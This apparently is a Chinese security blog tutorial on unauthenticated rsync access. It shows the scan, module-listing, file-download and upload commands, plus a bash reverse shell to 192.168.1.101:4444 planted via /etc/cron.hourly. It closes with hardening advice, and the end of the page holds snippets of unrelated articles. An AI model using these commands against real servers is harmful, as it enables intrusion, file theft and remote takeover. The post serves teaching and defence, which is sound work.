rsync未授权访问

VSole2021-11-19 07:29:00

简介

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

rsync配置文件

该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell。

我们具体来看配置文件的网相关选项(/etc/rsync.conf)

这一项read only表示只读,如果这一项为no,我们就具有写权限了。.

配置参数说明

motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101  -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。

利用方式

rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件

nmap扫描目标系统是否开放rsync服务

nmap -p 873 --script rsync-list-modules 目标IP

列出目标服务器的同步目录

rsync 192.168.1.100::
rsync rsync://192.168.1.100:873
//rsync ip::
//rsync rsync://ip:873

查看模块文件

获取到目录之后,只需在路径后添加目录名即可查看目录中的文件

该目标上有src目录 那我们就列src看看

rsync 192.168.0.113::src

可以看到成功列出src目录

下载任意目录文件

rsync -av 192.168.1.100::src/etc/passwd 路径
//rsync -av ip::src/路径

假设我要下载/etc/passwd文件到我的/opt/目录下

rsync -av 192.168.1.100::src/etc/passwd /opt/passwd.txt

查看passwd.txt文件

向目标系统上传任意文件

rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径

反弹shell

1、下载cron定时任务配置文件并且查看任务内容

rsync -av  rsync://192.168.1.100:873/src/etc/cron.hourly
//17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务

2、创建shell文件,写入反弹shell命令

touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.101/4444 0>&1

3、传入/etc/cron.hourly目录下

写入cron.hourly下文件的任务就会启动

rsync -av shell rsync://192.168.1.100:873/src/etc/cron.hourly

监听4444端口,等待17分钟之后,接收反弹shell

修复建议

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
文件目录rsync
本作品采用《CC 协议》,转载必须注明作者和本文链接
最全Linux命令总结
敏感文件通常指携带敏感信息的文件,最为常见的就是数据库的配置文件、网站源码备份、数据库备份等,管理员为了方便下载,将源码备份放置在 web 目录,然后下载至本地备份,下载完之后忘记删除,从而导致漏洞的出现。配置文件泄漏最为典型的就是 spring 框架的配置文件泄漏,常见路径:"/env"/actuator/env". /{sub}.zip {status=206} {type="application/octet-stream"}/{sub}.rar {status=206} {type="application/octet-stream"}/{sub}.tar.gz {status=206} {type="application/octet-stream"}/{sub}.tar.bz2 {status=206} {type="application/octet-stream"}/{sub}.tgz {status=206} {type="application/octet-stream"}/{sub}.7z {status=206} {type="application/octet-stream"}
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留。查看下pid所对应的进程文件路径,
今天,给小伙伴们带来一篇 Linux 命令总结的非常全的文章,也是我们平时工作中使用率非常高的操作命令,命令有点多,建议小伙伴们可以先收藏后阅读。
目录扫描可以让我们发现这个网站存在多少个目录,多少个页面,探索出网站的整体结构。通过目录扫描我们还能扫描敏感文件,后台文件,数据库文件,和信息泄漏文件等等 目录扫描有两种方式: •使用目录字典进行暴力才接存在该目录或文件返回200或者403;•使用爬虫爬行主页上的所有链接,对每个链接进行再次爬行,收集这个域名下的所有链接,然后总结出需要的信息。
ACL保护文件目录
2021-09-24 08:29:06
ACl (Access Control List),主要目的是提供传统的 owner、group、others 的 read、write、execute 权限之外的特殊权限需求设置。
大意就是这不一定是完整的代码,请大家fck 微软。windows_research_kernel目录: 这个目录下有两个压缩包,一个是Windows Kernel Source Code like,一个是wrktools。接下来是 microsoft-gaming-zone和 misc_microsoft_gamedev_source_code两个跟游戏开发有关的源码包。包括在’’是截至2020-08-21的最新版本。然后是Windows 2000 Native API ,里面有C语言的示例及原始API代码。,XP的源码,收集的人卖了个关子,加了密,要自己破解。Pdf目录: 搜集的一些文档,比如2017年win10泄露32T源码事件等。Xbox目录 三个文件如下,可以看到最下面的是一个2020年5月刚泄露的版本。
ACl (Access Control List),主要目的是提供传统的 owner、group、others 的 read、write、execute 权限之外的特殊权限需求设置。ACL 可以针对单一使用者、单一文件或目录来进行 r、w、x 的权限规范,对于需要特殊权限的使用状况非常有帮助
Linux常用命令总结
2021-11-20 05:45:17
系统信息 关机网卡命令 文件目录 find命令 ps命令 防火墙命令 用户命令 其他命令 最近再使用Linux感觉Linux系统使用起来也挺顺手的不过就是命令掌握的并不是很牢固,今天整理一下Linux一些常用命令。
VSole
网络安全专家